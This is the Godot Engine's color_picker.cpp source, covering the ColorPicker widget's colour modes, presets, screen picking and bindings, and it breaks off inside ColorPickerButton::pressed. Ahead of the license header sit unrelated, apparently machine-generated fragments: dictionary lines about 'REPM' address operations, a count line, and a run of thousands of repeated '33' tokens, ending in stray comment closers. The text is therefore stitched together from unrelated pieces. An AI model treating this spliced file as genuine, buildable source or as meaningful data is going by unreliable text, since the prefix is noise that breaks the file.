{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
/*************************************************************************/
/* color_picker.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md) */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "color_picker.h"
#include "core/os/input.h"
#include "core/os/keyboard.h"
#include "core/os/os.h"
#ifdef TOOLS_ENABLED
#include "editor_scale.h"
#include "editor_settings.h"
#endif
#include "scene/main/viewport.h"
void ColorPicker::_notification(int p_what) {
switch (p_what) {
case NOTIFICATION_THEME_CHANGED: {
btn_pick->set_icon(get_icon("screen_picker", "ColorPicker"));
bt_add_preset->set_icon(get_icon("add_preset"));
_update_controls();
} break;
case NOTIFICATION_ENTER_TREE: {
btn_pick->set_icon(get_icon("screen_picker", "ColorPicker"));
bt_add_preset->set_icon(get_icon("add_preset"));
_update_color();
#ifdef TOOLS_ENABLED
if (Engine::get_singleton()->is_editor_hint()) {
PoolColorArray saved_presets = EditorSettings::get_singleton()->get_project_metadata("color_picker", "presets", PoolColorArray());
for (int i = 0; i < saved_presets.size(); i++) {
add_preset(saved_presets[i]);
}
}
#endif
} break;
case NOTIFICATION_PARENTED: {
for (int i = 0; i < 4; i++)
set_margin((Margin)i, get_constant("margin"));
} break;
case NOTIFICATION_VISIBILITY_CHANGED: {
Popup *p = Object::cast_to<Popup>(get_parent());
if (p)
p->set_size(Size2(get_combined_minimum_size().width + get_constant("margin") * 2, get_combined_minimum_size().height + get_constant("margin") * 2));
} break;
case MainLoop::NOTIFICATION_WM_QUIT_REQUEST: {
if (screen != NULL && screen->is_visible())
screen->hide();
} break;
}
}
void ColorPicker::set_focus_on_line_edit() {
c_text->call_deferred("grab_focus");
}
void ColorPicker::_update_controls() {
const char *rgb[3] = { "R", "G", "B" };
const char *hsv[3] = { "H", "S", "V" };
if (hsv_mode_enabled) {
for (int i = 0; i < 3; i++)
labels[i]->set_text(hsv[i]);
} else {
for (int i = 0; i < 3; i++)
labels[i]->set_text(rgb[i]);
}
if (hsv_mode_enabled) {
set_raw_mode(false);
btn_raw->set_disabled(true);
} else if (raw_mode_enabled) {
set_hsv_mode(false);
btn_hsv->set_disabled(true);
} else {
btn_raw->set_disabled(false);
btn_hsv->set_disabled(false);
}
if (edit_alpha) {
values[3]->show();
scroll[3]->show();
labels[3]->show();
} else {
values[3]->hide();
scroll[3]->hide();
labels[3]->hide();
}
}
void ColorPicker::_set_pick_color(const Color &p_color, bool p_update_sliders) {
color = p_color;
if (color != last_hsv) {
h = color.get_h();
s = color.get_s();
v = color.get_v();
last_hsv = color;
}
if (!is_inside_tree())
return;
_update_color(p_update_sliders);
}
void ColorPicker::set_pick_color(const Color &p_color) {
_set_pick_color(p_color, true); //because setters can't have more arguments
}
void ColorPicker::set_edit_alpha(bool p_show) {
edit_alpha = p_show;
_update_controls();
if (!is_inside_tree())
return;
_update_color();
sample->update();
}
bool ColorPicker::is_editing_alpha() const {
return edit_alpha;
}
void ColorPicker::_value_changed(double) {
if (updating)
return;
if (hsv_mode_enabled) {
color.set_hsv(scroll[0]->get_value() / 360.0,
scroll[1]->get_value() / 100.0,
scroll[2]->get_value() / 100.0,
scroll[3]->get_value() / 255.0);
} else {
for (int i = 0; i < 4; i++) {
color.components[i] = scroll[i]->get_value() / (raw_mode_enabled ? 1.0 : 255.0);
}
}
_set_pick_color(color, false);
emit_signal("color_changed", color);
}
void ColorPicker::_html_entered(const String &p_html) {
if (updating || text_is_constructor || !c_text->is_visible())
return;
float last_alpha = color.a;
color = Color::html(p_html);
if (!is_editing_alpha())
color.a = last_alpha;
if (!is_inside_tree())
return;
set_pick_color(color);
emit_signal("color_changed", color);
}
void ColorPicker::_update_color(bool p_update_sliders) {
updating = true;
if (p_update_sliders) {
if (hsv_mode_enabled) {
for (int i = 0; i < 4; i++) {
scroll[i]->set_step(1.0);
}
scroll[0]->set_max(359);
scroll[0]->set_value(h * 360.0);
scroll[1]->set_max(100);
scroll[1]->set_value(s * 100.0);
scroll[2]->set_max(100);
scroll[2]->set_value(v * 100.0);
scroll[3]->set_max(255);
scroll[3]->set_value(color.components[3] * 255.0);
} else {
for (int i = 0; i < 4; i++) {
if (raw_mode_enabled) {
scroll[i]->set_step(0.01);
scroll[i]->set_max(100);
if (i == 3)
scroll[i]->set_max(1);
scroll[i]->set_value(color.components[i]);
} else {
scroll[i]->set_step(1);
const float byte_value = color.components[i] * 255.0;
scroll[i]->set_max(next_power_of_2(MAX(255, byte_value)) - 1);
scroll[i]->set_value(byte_value);
}
}
}
}
_update_text_value();
sample->update();
uv_edit->update();
w_edit->update();
updating = false;
}
void ColorPicker::_update_presets() {
presets_per_row = 10;
Size2 size = bt_add_preset->get_size();
Size2 preset_size = Size2(MIN(size.width * presets.size(), presets_per_row * size.width), size.height * (Math::ceil((float)presets.size() / presets_per_row)));
preset->set_custom_minimum_size(preset_size);
preset_container->set_custom_minimum_size(preset_size);
preset->draw_rect(Rect2(Point2(), preset_size), Color(1, 1, 1, 0));
for (int i = 0; i < presets.size(); i++) {
int x = (i % presets_per_row) * size.width;
int y = (Math::floor((float)i / presets_per_row)) * size.height;
preset->draw_rect(Rect2(Point2(x, y), size), presets[i]);
}
_notification(NOTIFICATION_VISIBILITY_CHANGED);
}
void ColorPicker::_text_type_toggled() {
text_is_constructor = !text_is_constructor;
if (text_is_constructor) {
text_type->set_text("");
text_type->set_icon(get_icon("Script", "EditorIcons"));
c_text->set_editable(false);
} else {
text_type->set_text("#");
text_type->set_icon(NULL);
c_text->set_editable(true);
}
_update_color();
}
Color ColorPicker::get_pick_color() const {
return color;
}
void ColorPicker::add_preset(const Color &p_color) {
if (presets.find(p_color)) {
presets.move_to_back(presets.find(p_color));
} else {
presets.push_back(p_color);
}
preset->update();
#ifdef TOOLS_ENABLED
if (Engine::get_singleton()->is_editor_hint()) {
PoolColorArray arr_to_save = get_presets();
EditorSettings::get_singleton()->set_project_metadata("color_picker", "presets", arr_to_save);
}
#endif
}
void ColorPicker::erase_preset(const Color &p_color) {
if (presets.find(p_color)) {
presets.erase(presets.find(p_color));
preset->update();
#ifdef TOOLS_ENABLED
if (Engine::get_singleton()->is_editor_hint()) {
PoolColorArray arr_to_save = get_presets();
EditorSettings::get_singleton()->set_project_metadata("color_picker", "presets", arr_to_save);
}
#endif
}
}
PoolColorArray ColorPicker::get_presets() const {
PoolColorArray arr;
arr.resize(presets.size());
for (int i = 0; i < presets.size(); i++) {
arr.set(i, presets[i]);
}
return arr;
}
void ColorPicker::set_hsv_mode(bool p_enabled) {
if (hsv_mode_enabled == p_enabled || raw_mode_enabled)
return;
hsv_mode_enabled = p_enabled;
if (btn_hsv->is_pressed() != p_enabled)
btn_hsv->set_pressed(p_enabled);
if (!is_inside_tree())
return;
_update_controls();
_update_color();
}
bool ColorPicker::is_hsv_mode() const {
return hsv_mode_enabled;
}
void ColorPicker::set_raw_mode(bool p_enabled) {
if (raw_mode_enabled == p_enabled || hsv_mode_enabled)
return;
raw_mode_enabled = p_enabled;
if (btn_raw->is_pressed() != p_enabled)
btn_raw->set_pressed(p_enabled);
if (!is_inside_tree())
return;
_update_controls();
_update_color();
}
bool ColorPicker::is_raw_mode() const {
return raw_mode_enabled;
}
void ColorPicker::set_deferred_mode(bool p_enabled) {
deferred_mode_enabled = p_enabled;
}
bool ColorPicker::is_deferred_mode() const {
return deferred_mode_enabled;
}
void ColorPicker::_update_text_value() {
bool visible = true;
if (text_is_constructor) {
String t = "Color(" + String::num(color.r) + ", " + String::num(color.g) + ", " + String::num(color.b);
if (edit_alpha && color.a < 1)
t += ", " + String::num(color.a) + ")";
else
t += ")";
c_text->set_text(t);
}
if (color.r > 1 || color.g > 1 || color.b > 1 || color.r < 0 || color.g < 0 || color.b < 0) {
visible = false;
} else if (!text_is_constructor) {
c_text->set_text(color.to_html(edit_alpha && color.a < 1));
}
text_type->set_visible(visible);
c_text->set_visible(visible);
}
void ColorPicker::_sample_draw() {
const Rect2 r = Rect2(Point2(), Size2(uv_edit->get_size().width, sample->get_size().height * 0.95));
if (color.a < 1.0) {
sample->draw_texture_rect(get_icon("preset_bg", "ColorPicker"), r, true);
}
sample->draw_rect(r, color);
if (color.r > 1 || color.g > 1 || color.b > 1) {
// Draw an indicator to denote that the color is "overbright" and can't be displayed accurately in the preview
sample->draw_texture(get_icon("overbright_indicator", "ColorPicker"), Point2());
}
}
void ColorPicker::_hsv_draw(int p_which, Control *c) {
if (!c)
return;
if (p_which == 0) {
Vector<Point2> points;
points.push_back(Vector2());
points.push_back(Vector2(c->get_size().x, 0));
points.push_back(c->get_size());
points.push_back(Vector2(0, c->get_size().y));
Vector<Color> colors;
colors.push_back(Color(1, 1, 1, 1));
colors.push_back(Color(1, 1, 1, 1));
colors.push_back(Color(0, 0, 0, 1));
colors.push_back(Color(0, 0, 0, 1));
c->draw_polygon(points, colors);
Vector<Color> colors2;
Color col = color;
col.set_hsv(h, 1, 1);
col.a = 0;
colors2.push_back(col);
col.a = 1;
colors2.push_back(col);
col.set_hsv(h, 1, 0);
colors2.push_back(col);
col.a = 0;
colors2.push_back(col);
c->draw_polygon(points, colors2);
int x = CLAMP(c->get_size().x * s, 0, c->get_size().x);
int y = CLAMP(c->get_size().y - c->get_size().y * v, 0, c->get_size().y);
col = color;
col.a = 1;
c->draw_line(Point2(x, 0), Point2(x, c->get_size().y), col.inverted());
c->draw_line(Point2(0, y), Point2(c->get_size().x, y), col.inverted());
c->draw_line(Point2(x, y), Point2(x, y), Color(1, 1, 1), 2);
} else if (p_which == 1) {
Ref<Texture> hue = get_icon("color_hue", "ColorPicker");
c->draw_texture_rect(hue, Rect2(Point2(), c->get_size()));
int y = c->get_size().y - c->get_size().y * (1.0 - h);
Color col = Color();
col.set_hsv(h, 1, 1);
c->draw_line(Point2(0, y), Point2(c->get_size().x, y), col.inverted());
}
}
void ColorPicker::_uv_input(const Ref<InputEvent> &p_event) {
Ref<InputEventMouseButton> bev = p_event;
if (bev.is_valid()) {
if (bev->is_pressed() && bev->get_button_index() == BUTTON_LEFT) {
changing_color = true;
float x = CLAMP((float)bev->get_position().x, 0, uv_edit->get_size().width);
float y = CLAMP((float)bev->get_position().y, 0, uv_edit->get_size().height);
s = x / uv_edit->get_size().width;
v = 1.0 - y / uv_edit->get_size().height;
color.set_hsv(h, s, v, color.a);
last_hsv = color;
set_pick_color(color);
_update_color();
if (!deferred_mode_enabled)
emit_signal("color_changed", color);
} else if (deferred_mode_enabled && !bev->is_pressed() && bev->get_button_index() == BUTTON_LEFT) {
emit_signal("color_changed", color);
changing_color = false;
} else {
changing_color = false;
}
}
Ref<InputEventMouseMotion> mev = p_event;
if (mev.is_valid()) {
if (!changing_color)
return;
float x = CLAMP((float)mev->get_position().x, 0, uv_edit->get_size().width);
float y = CLAMP((float)mev->get_position().y, 0, uv_edit->get_size().height);
s = x / uv_edit->get_size().width;
v = 1.0 - y / uv_edit->get_size().height;
color.set_hsv(h, s, v, color.a);
last_hsv = color;
set_pick_color(color);
_update_color();
if (!deferred_mode_enabled)
emit_signal("color_changed", color);
}
}
void ColorPicker::_w_input(const Ref<InputEvent> &p_event) {
Ref<InputEventMouseButton> bev = p_event;
if (bev.is_valid()) {
if (bev->is_pressed() && bev->get_button_index() == BUTTON_LEFT) {
changing_color = true;
float y = CLAMP((float)bev->get_position().y, 0, w_edit->get_size().height);
h = y / w_edit->get_size().height;
} else {
changing_color = false;
}
color.set_hsv(h, s, v, color.a);
last_hsv = color;
set_pick_color(color);
_update_color();
if (!deferred_mode_enabled)
emit_signal("color_changed", color);
else if (!bev->is_pressed() && bev->get_button_index() == BUTTON_LEFT)
emit_signal("color_changed", color);
}
Ref<InputEventMouseMotion> mev = p_event;
if (mev.is_valid()) {
if (!changing_color)
return;
float y = CLAMP((float)mev->get_position().y, 0, w_edit->get_size().height);
h = y / w_edit->get_size().height;
color.set_hsv(h, s, v, color.a);
last_hsv = color;
set_pick_color(color);
_update_color();
if (!deferred_mode_enabled)
emit_signal("color_changed", color);
}
}
void ColorPicker::_preset_input(const Ref<InputEvent> &p_event) {
Ref<InputEventMouseButton> bev = p_event;
if (bev.is_valid()) {
int index = 0;
if (bev->is_pressed() && bev->get_button_index() == BUTTON_LEFT) {
for (int i = 0; i < presets.size(); i++) {
int x = (i % presets_per_row) * bt_add_preset->get_size().x;
int y = (Math::floor((float)i / presets_per_row)) * bt_add_preset->get_size().y;
if (bev->get_position().x > x && bev->get_position().x < x + preset->get_size().x && bev->get_position().y > y && bev->get_position().y < y + preset->get_size().y) {
index = i;
}
}
set_pick_color(presets[index]);
_update_color();
emit_signal("color_changed", color);
} else if (bev->is_pressed() && bev->get_button_index() == BUTTON_RIGHT && presets_enabled) {
index = bev->get_position().x / (preset->get_size().x / presets.size());
Color clicked_preset = presets[index];
erase_preset(clicked_preset);
emit_signal("preset_removed", clicked_preset);
bt_add_preset->show();
}
}
Ref<InputEventMouseMotion> mev = p_event;
if (mev.is_valid()) {
int index = mev->get_position().x * presets.size();
if (preset->get_size().x != 0) {
index /= preset->get_size().x;
}
if (index < 0 || index >= presets.size())
return;
preset->set_tooltip("Color: #" + presets[index].to_html(presets[index].a < 1) + "\n"
"LMB: Set color\n"
"RMB: Remove preset");
}
}
void ColorPicker::_screen_input(const Ref<InputEvent> &p_event) {
Ref<InputEventMouseButton> bev = p_event;
if (bev.is_valid() && bev->get_button_index() == BUTTON_LEFT && !bev->is_pressed()) {
emit_signal("color_changed", color);
screen->hide();
}
Ref<InputEventMouseMotion> mev = p_event;
if (mev.is_valid()) {
Viewport *r = get_tree()->get_root();
if (!r->get_visible_rect().has_point(Point2(mev->get_global_position().x, mev->get_global_position().y)))
return;
Ref<Image> img = r->get_texture()->get_data();
if (img.is_valid() && !img->empty()) {
img->lock();
Vector2 ofs = mev->get_global_position() - r->get_visible_rect().get_position();
Color c = img->get_pixel(ofs.x, r->get_visible_rect().size.height - ofs.y);
img->unlock();
set_pick_color(c);
}
}
}
void ColorPicker::_add_preset_pressed() {
add_preset(color);
emit_signal("preset_added", color);
}
void ColorPicker::_screen_pick_pressed() {
Viewport *r = get_tree()->get_root();
if (!screen) {
screen = memnew(Control);
r->add_child(screen);
screen->set_as_toplevel(true);
screen->set_anchors_and_margins_preset(Control::PRESET_WIDE);
screen->set_default_cursor_shape(CURSOR_POINTING_HAND);
screen->connect("gui_input", this, "_screen_input");
// It immediately toggles off in the first press otherwise.
screen->call_deferred("connect", "hide", btn_pick, "set_pressed", varray(false));
}
screen->raise();
screen->show_modal();
}
void ColorPicker::_focus_enter() {
if (c_text->has_focus()) {
c_text->select_all();
return;
}
for (int i = 0; i < 4; i++) {
if (values[i]->get_line_edit()->has_focus()) {
values[i]->get_line_edit()->select_all();
break;
}
}
}
void ColorPicker::_focus_exit() {
for (int i = 0; i < 4; i++) {
values[i]->get_line_edit()->select(0, 0);
}
c_text->select(0, 0);
}
void ColorPicker::_html_focus_exit() {
_html_entered(c_text->get_text());
_focus_exit();
}
void ColorPicker::set_presets_enabled(bool p_enabled) {
presets_enabled = p_enabled;
if (!p_enabled) {
bt_add_preset->set_disabled(true);
bt_add_preset->set_focus_mode(FOCUS_NONE);
} else {
bt_add_preset->set_disabled(false);
bt_add_preset->set_focus_mode(FOCUS_ALL);
}
}
bool ColorPicker::are_presets_enabled() const {
return presets_enabled;
}
void ColorPicker::set_presets_visible(bool p_visible) {
presets_visible = p_visible;
preset_separator->set_visible(p_visible);
preset_container->set_visible(p_visible);
}
bool ColorPicker::are_presets_visible() const {
return presets_visible;
}
void ColorPicker::_bind_methods() {
ClassDB::bind_method(D_METHOD("set_pick_color", "color"), &ColorPicker::set_pick_color);
ClassDB::bind_method(D_METHOD("get_pick_color"), &ColorPicker::get_pick_color);
ClassDB::bind_method(D_METHOD("set_hsv_mode", "mode"), &ColorPicker::set_hsv_mode);
ClassDB::bind_method(D_METHOD("is_hsv_mode"), &ColorPicker::is_hsv_mode);
ClassDB::bind_method(D_METHOD("set_raw_mode", "mode"), &ColorPicker::set_raw_mode);
ClassDB::bind_method(D_METHOD("is_raw_mode"), &ColorPicker::is_raw_mode);
ClassDB::bind_method(D_METHOD("set_deferred_mode", "mode"), &ColorPicker::set_deferred_mode);
ClassDB::bind_method(D_METHOD("is_deferred_mode"), &ColorPicker::is_deferred_mode);
ClassDB::bind_method(D_METHOD("set_edit_alpha", "show"), &ColorPicker::set_edit_alpha);
ClassDB::bind_method(D_METHOD("is_editing_alpha"), &ColorPicker::is_editing_alpha);
ClassDB::bind_method(D_METHOD("set_presets_enabled", "enabled"), &ColorPicker::set_presets_enabled);
ClassDB::bind_method(D_METHOD("are_presets_enabled"), &ColorPicker::are_presets_enabled);
ClassDB::bind_method(D_METHOD("set_presets_visible", "visible"), &ColorPicker::set_presets_visible);
ClassDB::bind_method(D_METHOD("are_presets_visible"), &ColorPicker::are_presets_visible);
ClassDB::bind_method(D_METHOD("add_preset", "color"), &ColorPicker::add_preset);
ClassDB::bind_method(D_METHOD("erase_preset", "color"), &ColorPicker::erase_preset);
ClassDB::bind_method(D_METHOD("get_presets"), &ColorPicker::get_presets);
ClassDB::bind_method(D_METHOD("_value_changed"), &ColorPicker::_value_changed);
ClassDB::bind_method(D_METHOD("_html_entered"), &ColorPicker::_html_entered);
ClassDB::bind_method(D_METHOD("_text_type_toggled"), &ColorPicker::_text_type_toggled);
ClassDB::bind_method(D_METHOD("_add_preset_pressed"), &ColorPicker::_add_preset_pressed);
ClassDB::bind_method(D_METHOD("_screen_pick_pressed"), &ColorPicker::_screen_pick_pressed);
ClassDB::bind_method(D_METHOD("_sample_draw"), &ColorPicker::_sample_draw);
ClassDB::bind_method(D_METHOD("_update_presets"), &ColorPicker::_update_presets);
ClassDB::bind_method(D_METHOD("_hsv_draw"), &ColorPicker::_hsv_draw);
ClassDB::bind_method(D_METHOD("_uv_input"), &ColorPicker::_uv_input);
ClassDB::bind_method(D_METHOD("_w_input"), &ColorPicker::_w_input);
ClassDB::bind_method(D_METHOD("_preset_input"), &ColorPicker::_preset_input);
ClassDB::bind_method(D_METHOD("_screen_input"), &ColorPicker::_screen_input);
ClassDB::bind_method(D_METHOD("_focus_enter"), &ColorPicker::_focus_enter);
ClassDB::bind_method(D_METHOD("_focus_exit"), &ColorPicker::_focus_exit);
ClassDB::bind_method(D_METHOD("_html_focus_exit"), &ColorPicker::_html_focus_exit);
ADD_PROPERTY(PropertyInfo(Variant::COLOR, "color"), "set_pick_color", "get_pick_color");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "edit_alpha"), "set_edit_alpha", "is_editing_alpha");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "hsv_mode"), "set_hsv_mode", "is_hsv_mode");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "raw_mode"), "set_raw_mode", "is_raw_mode");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "deferred_mode"), "set_deferred_mode", "is_deferred_mode");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "presets_enabled"), "set_presets_enabled", "are_presets_enabled");
ADD_PROPERTY(PropertyInfo(Variant::BOOL, "presets_visible"), "set_presets_visible", "are_presets_visible");
ADD_SIGNAL(MethodInfo("color_changed", PropertyInfo(Variant::COLOR, "color")));
ADD_SIGNAL(MethodInfo("preset_added", PropertyInfo(Variant::COLOR, "color")));
ADD_SIGNAL(MethodInfo("preset_removed", PropertyInfo(Variant::COLOR, "color")));
}
ColorPicker::ColorPicker() :
BoxContainer(true) {
updating = true;
edit_alpha = true;
text_is_constructor = false;
hsv_mode_enabled = false;
raw_mode_enabled = false;
deferred_mode_enabled = false;
changing_color = false;
presets_enabled = true;
presets_visible = true;
screen = NULL;
HBoxContainer *hb_smpl = memnew(HBoxContainer);
add_child(hb_smpl);
sample = memnew(TextureRect);
hb_smpl->add_child(sample);
sample->set_h_size_flags(SIZE_EXPAND_FILL);
sample->connect("draw", this, "_sample_draw");
btn_pick = memnew(ToolButton);
hb_smpl->add_child(btn_pick);
btn_pick->set_toggle_mode(true);
btn_pick->set_tooltip(TTR("Pick a color from the screen."));
btn_pick->connect("pressed", this, "_screen_pick_pressed");
HBoxContainer *hb_edit = memnew(HBoxContainer);
add_child(hb_edit);
hb_edit->set_v_size_flags(SIZE_EXPAND_FILL);
uv_edit = memnew(Control);
hb_edit->add_child(uv_edit);
uv_edit->connect("gui_input", this, "_uv_input");
uv_edit->set_mouse_filter(MOUSE_FILTER_PASS);
uv_edit->set_h_size_flags(SIZE_EXPAND_FILL);
uv_edit->set_v_size_flags(SIZE_EXPAND_FILL);
uv_edit->set_custom_minimum_size(Size2(get_constant("sv_width"), get_constant("sv_height")));
uv_edit->connect("draw", this, "_hsv_draw", make_binds(0, uv_edit));
w_edit = memnew(Control);
hb_edit->add_child(w_edit);
w_edit->set_custom_minimum_size(Size2(get_constant("h_width"), 0));
w_edit->set_h_size_flags(SIZE_FILL);
w_edit->set_v_size_flags(SIZE_EXPAND_FILL);
w_edit->connect("gui_input", this, "_w_input");
w_edit->connect("draw", this, "_hsv_draw", make_binds(1, w_edit));
VBoxContainer *vbl = memnew(VBoxContainer);
add_child(vbl);
add_child(memnew(HSeparator));
VBoxContainer *vbr = memnew(VBoxContainer);
add_child(vbr);
vbr->set_h_size_flags(SIZE_EXPAND_FILL);
for (int i = 0; i < 4; i++) {
HBoxContainer *hbc = memnew(HBoxContainer);
labels[i] = memnew(Label());
labels[i]->set_custom_minimum_size(Size2(get_constant("label_width"), 0));
labels[i]->set_v_size_flags(SIZE_SHRINK_CENTER);
hbc->add_child(labels[i]);
scroll[i] = memnew(HSlider);
scroll[i]->set_v_size_flags(SIZE_SHRINK_CENTER);
scroll[i]->set_focus_mode(FOCUS_NONE);
hbc->add_child(scroll[i]);
values[i] = memnew(SpinBox);
scroll[i]->share(values[i]);
hbc->add_child(values[i]);
values[i]->get_line_edit()->connect("focus_entered", this, "_focus_enter");
values[i]->get_line_edit()->connect("focus_exited", this, "_focus_exit");
scroll[i]->set_min(0);
scroll[i]->set_page(0);
scroll[i]->set_h_size_flags(SIZE_EXPAND_FILL);
scroll[i]->connect("value_changed", this, "_value_changed");
vbr->add_child(hbc);
}
labels[3]->set_text("A");
HBoxContainer *hhb = memnew(HBoxContainer);
vbr->add_child(hhb);
btn_hsv = memnew(CheckButton);
hhb->add_child(btn_hsv);
btn_hsv->set_text(TTR("HSV"));
btn_hsv->connect("toggled", this, "set_hsv_mode");
btn_raw = memnew(CheckButton);
hhb->add_child(btn_raw);
btn_raw->set_text(TTR("Raw"));
btn_raw->connect("toggled", this, "set_raw_mode");
text_type = memnew(Button);
hhb->add_child(text_type);
text_type->set_text("#");
text_type->set_tooltip(TTR("Switch between hexadecimal and code values."));
if (Engine::get_singleton()->is_editor_hint()) {
#ifdef TOOLS_ENABLED
text_type->set_custom_minimum_size(Size2(28 * EDSCALE, 0)); // Adjust for the width of the "Script" icon.
#endif
text_type->connect("pressed", this, "_text_type_toggled");
} else {
text_type->set_flat(true);
text_type->set_mouse_filter(MOUSE_FILTER_IGNORE);
}
c_text = memnew(LineEdit);
hhb->add_child(c_text);
c_text->set_h_size_flags(SIZE_EXPAND_FILL);
c_text->connect("text_entered", this, "_html_entered");
c_text->connect("focus_entered", this, "_focus_enter");
c_text->connect("focus_exited", this, "_html_focus_exit");
_update_controls();
updating = false;
set_pick_color(Color(1, 1, 1));
preset_separator = memnew(HSeparator);
add_child(preset_separator);
preset_container = memnew(HBoxContainer);
preset_container->set_h_size_flags(SIZE_EXPAND_FILL);
add_child(preset_container);
preset = memnew(TextureRect);
preset_container->add_child(preset);
preset->connect("gui_input", this, "_preset_input");
preset->connect("draw", this, "_update_presets");
preset_container2 = memnew(HBoxContainer);
preset_container2->set_h_size_flags(SIZE_EXPAND_FILL);
add_child(preset_container2);
bt_add_preset = memnew(Button);
preset_container2->add_child(bt_add_preset);
bt_add_preset->set_tooltip(TTR("Add current color as a preset."));
bt_add_preset->connect("pressed", this, "_add_preset_pressed");
}
/////////////////
void ColorPickerButton::_color_changed(const Color &p_color) {
color = p_color;
update();
emit_signal("color_changed", color);
}
void ColorPickerButton::_modal_closed() {
emit_signal("popup_closed");
}
void ColorPickerButton::pressed() {
_update_picker();
